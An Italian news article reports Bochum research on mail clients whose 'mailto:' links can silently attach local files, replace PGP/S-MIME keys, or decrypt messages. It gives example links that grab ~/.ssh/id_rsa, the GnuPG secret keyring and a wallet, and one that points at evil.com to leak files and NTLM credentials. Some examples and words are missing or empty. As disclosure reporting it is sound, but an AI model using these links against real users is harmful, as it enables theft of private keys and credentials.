I ricercatori dell'Università di Bochum (Germania) () il comportamento dei client di posta nella gestione dei link «mailto:» con parametri estesi. Cinque dei venti client di posta esaminati si sono rivelati vulnerabili a un attacco che manipola le risorse tramite il parametro «attach». Altri sei client di posta sono stati soggetti a un attacco che sostituisce le chiavi PGP e S/MIME, mentre tre client sono risultati vulnerabili a un attacco che estrae il contenuto dei messaggi crittografati.
I link «» vengono utilizzati per automatizzare l'apertura del client di posta con l'obiettivo di scrivere un messaggio all'indirizzo specificato nel link. Oltre all'indirizzo, nel link possono essere indicati parametri aggiuntivi, come l'oggetto dell'email e un modello di contenuto standard. L'attacco proposto manipola il parametro «attach», consentendo di allegare un file all'email in fase di creazione.
I client di posta Thunderbird, GNOME Evolution (CVE-2020-11879), KDE KMail (CVE-2020-11880), IBM/HCL Notes (CVE-2020-4089) e Pegasus Mail sono risultati vulnerabili a un attacco triviale che permette di allegare automaticamente qualsiasi file locale specificato tramite un link del tipo "mailto:?attach=percorso_al_file". Il file viene allegato senza alcun avviso, quindi senza un'attenzione particolare l'utente potrebbe non accorgersi che l'email verrà inviata con un allegato.
Ad esempio, tramite un link del tipo "mailto:?to=user@example.com&subject=Titolo&body=Testo&attach=~/.gnupg/secring.gpg" è possibile inserire nell'email le chiavi private di GnuPG. Si possono anche inviare il contenuto dei portafogli crittografici (~/.bitcoin/wallet.dat), le chiavi SSH (~/.ssh/id_rsa) e qualsiasi file accessibile all'utente. Inoltre, Thunderbird consente di allegare gruppi di file tramite maschere con strutture del tipo "attach=/tmp/*.txt".
Oltre ai file locali, alcuni client di posta elaborano i collegamenti a archivi di rete e percorsi sui server IMAP. In particolare, IBM Notes consente di inviare un file da una directory di rete quando si gestiscono collegamenti del tipo «attach=\\evil.com\dummyfile», e può anche intercettare i parametri di autenticazione NTLM reindirizzando il collegamento a un server SMB controllato dall'attaccante (la richiesta verrà inviata con i parametri di autenticazione attuali dell'utente).
Thunderbird gestisce con successo richieste del tipo «attach=imap:///fetch>UID>/INBOX>1/», che consentono di allegare contenuti da cartelle su un server IMAP. In questo caso, le email estratte da IMAP, criptate tramite OpenPGP e S/MIME, vengono automaticamente decrittografate dal client di posta prima dell'invio. Gli sviluppatori di Thunderbird sono stati del problema a febbraio e in un aggiornamento il problema è già stato risolto (i rami di Thunderbird 52, 60 e 68 rimangono vulnerabili).
Le versioni precedenti di Thunderbird si sono rivelate vulnerabili anche a due ulteriori tipi di attacco su PGP e S/MIME, suggeriti dai ricercatori. In particolare, l'attacco per sostituzione delle chiavi si applica a Thunderbird, ma anche a OutLook, PostBox, eM Client, MailMate e R2Mail2. Questo è dovuto al fatto che il client di posta importa e installa automaticamente nuovi certificati trasmessi nei messaggi S/MIME, permettendo così all'attaccante di sostituire le chiavi pubbliche già salvate dall'utente.
Il secondo attacco, di cui sono vulnerabili Thunderbird, PostBox e MailMate, sfrutta le peculiarità del meccanismo di salvataggio automatico dei bozzetti dei messaggi. Permette, attraverso parametri mailto, di avviare la decrittazione di messaggi crittografati o l'aggiunta di una firma digitale a messaggi arbitrari, con successivo invio del risultato al server IMAP dell'attaccante. Il testo cifrato viene trasmesso tramite il parametro "body", mentre il tag "meta refresh" viene usato per iniziare la chiamata al server IMAP dell'attaccante. Ad esempio: ''
Per l'elaborazione automatica dei link «mailto:» senza l'intervento dell'utente, possono essere utilizzati documenti PDF appositamente formattati: l'azione OpenAction nel PDF consente di avviare automaticamente il gestore mailto all'apertura del documento.
%PDF-1.5
1 0 obj
<>
endobj
2 0 obj
<>
endobj
Fonte: opennet.ru
